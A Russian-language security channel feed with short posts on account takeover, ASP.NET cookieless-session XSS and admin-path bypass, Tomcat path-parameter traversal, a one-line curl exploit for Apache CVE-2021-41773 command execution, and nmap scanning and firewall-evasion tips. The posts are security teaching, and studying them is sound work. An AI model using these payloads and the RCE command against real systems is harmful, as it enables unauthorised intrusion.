Size: a a a

2021 May 21
Кавычка
Я вопреки обществу был противником сокрытия информации. Зачем скрывать почту или номер телефона, если это штуки, которые специально созданы для того, чтобы их шарить и это не может быть секретом? А сейчас осознаю, что было бы неплохо иметь обфусцированный номер телефона, который можно было бы убить как, например, алиасы на почте (виртуальные номера не в счет).
Там где тобой заинтересованы - практически нет препятствий для атаки.

А пароли вообще должны умереть. Sergey Belove опубликовал размышление о том, что если пароли умрут, это всё равно не спасёт от угона аккаунта, а второй фактор - не панацея.

Возьмем, например, Binance. Это крупнейшая криптобиржа, операции надо подтверждать через код с почты и через двухфакторку. А вот эту самую двухфакторку обходят (даже есть специализированные сервисы, которые за процент снимают бабло). Я относился к этому скептически, пока у друга так не вывели деньги (обошли Google Authenticator).
источник
Кавычка
Нет, сам Binance взламывать не надо. Для торгов там не нужен пароль, достаточно API Key, который не привилегирован на вывод средств.
Нужно просто собрать пароли, сделав сервис по аналитике, торговле, форум по интересам или заработку. На примере выше - информационный ресурс по алгоритмической торговли на binance. Фреймворк по-умолчанию хранит все пароли в хэшах, но администратору достаточно немного изменить код.
Пароли и так уже бич 21 века, люди слишком ленивые, чтобы использовать их разные.

Разные ресурсы - разные пароли. Двухфакторка может не спасти. С пятницей!
источник
2021 May 27
Кавычка
В ASP.NET есть удобная олдскульная фича - cookieless session. Она осталась ещё с тех времён, когда куки поддерживались не всеми браузерами и сессию приходилось передавать внутри URL.

Например, http://www.example.com/(S(lit3py55t21z5v55vlm25s55))/default.aspx

При использовании Control.ResolveUrl метода, это значение может выводится  без корректного энкодинга символов, что может давать нам XSS-ку:

<script src="<%= ResolveUrl("~/Script.js") %>"></script>
+
http://example.com/(A(%22onerror=%22alert`1`%22))/default.aspx

->

<script src="/(A("onerror="alert`1"))/Script.js"></script>


Более подробно об этой особенности и эксплуатации можно почитать ТУТ

Кроме того, эту фичу можно использовать для обхода ограничений на реверс прокси к админке приложения бэкэнда (всё что начинается с “/admin”), например:

http://victim.com/admin - 403
http://victim.com/(A(ABCD))/admin - 200

Работает в .NET 2.0-4.8. В .NET Core всех версий и в .NET5 это не поддерживается.
источник
2021 September 21
Кавычка
Параметры можно передавать не только в виде привычного Query, типа:

site/path?param=123&param2=456

Есть такая штука, называется Path-Style Parameter Expansion (или Matrix в Spring).
Выглядит это подобным образом:

site/path;param=123;param2=456

Главное отличие, что Path Parameters можно передавать к конкретному пути, в то время как query применяется к запросу в целом:

site/user;id=123/send;message=456/?page=789


Так вот, в Tomcat/Jetty знак ; укажет, что дальше идут эти параметры до следующего символа /. А если впереди стоит nginx/apache, то символ для него ничего не значит, это будет просто частью имени директории.

Таким образом, обращение на условный /doc/..;abc=def/manager приведет к тому, что Tomcat обратится к
/doc/../manager, то есть выйдет из текущего сервлета и обратится к manager (админка tomcat).

P.S. Я всегда думал, что ; для Java, это что-то вроде нульбайта, который обрезает строку (в weblogic, кстати, обрезается вся строка). Но GreenDog (можно познакомиться с ним у МимоКрокодила) мне рассказал, откуда корни растут.МимоКрокодила) мне рассказал, откуда корни растут.

P.P.S. Еще по теме, Orange Tsai с примерами на BlackHat (с 40й страницы)примерами на BlackHat (с 40й страницы)
источник
2021 October 06
Кавычка
Недавняя CVE-2021-41773 в Apache 2.4.49, это не только выход из директории с чтением файлов, как многие подумали

curl --data "A=|echo;id" 'http://127.0.0.1:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
источник
2021 November 12
Кавычка
Задача: быстро отсканировать с помощью nmap большую подсеть.

Из-за количества хостов сканирование будет длиться сутки, неделю или больше, а с данными хочется работать в ближайшее время.
Одно из решений - это использовать многоходовочку, поделить сканирование на несколько шагов и быстро получить данные самых популярных портов, пока редкие порты сканируются.

Играемся с таймаутом RTT, таймаутом хостов (tarpit еще никто не отменял), количеством попыток на ответ и другие настройки.
Но если нам нужно увеличить точность, то запускаем с -Pn, если скорость, то без него.

Кстати, nmap умеет импортировать данные предыдущего сканирования и работать уже с ним, например,
nmap --script-args newtargets,state=up,iX=scan.xml
запустит сканирование взяв в качестве целей для сканирования хосты из файла scan.xml, которые находились в статусе up в тот момент.

Важно, что если у хоста не будет открытых портов из топа, то он не попадет в выдачу первого шага, и втором и третьем шаге его попросту не будет.

Ставим как исходящий порт - 53 (DNS), чтобы обмануть некоторые наркоманские настройки фаерволов, получаем подобный скрипт.

Во время сканирования забираем полученные XML файлы, загружаем в нужный нам софт.

В других случаях используем Masscan и RustScan.
источник